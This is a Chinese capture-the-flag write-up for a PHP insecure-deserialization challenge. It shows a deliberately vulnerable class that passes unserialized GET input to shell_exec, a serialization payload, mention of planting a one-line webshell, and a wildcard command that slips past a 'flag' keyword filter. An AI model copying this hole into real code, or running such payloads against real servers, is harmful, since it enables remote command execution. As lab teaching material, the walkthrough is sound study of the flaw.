菜狗杯-webshell

解题思路

<?php 
    error_reporting(0);

    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }

?>

分析代码,这是一个反序列化的题目,我们可以看到这里面的要求是,我们输入的是一个序列化之后的命令,然后命令内容不能包含flag这个关键词,这里面是先定义了一个Webshell的类,类的出事发方法就是执行命令,但是要符合正则表达式,不能有flag值,默认的命令的传参为cmd

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();

在这里执行的是 如果cmd有值,进行反序列化,然后执行反序列化出来的对象的初始化方法。

因此我们的目的就是先创建一个cmd是我们需要执行的命令的类,然后实例化,之后序列化就能得到结果

class Webshell {
    public $cmd = 'ls';
}

$a = new Webshell();
echo serialize($a);

尝试执行看看

发现成功了,那么题目既然都说了webshell,那我们就注入一个,一句话木马

然后我们执行

cat fla?.php > 1.txt

 

 


De4ault
無限進步
公告

粤ICP备2024275751号-3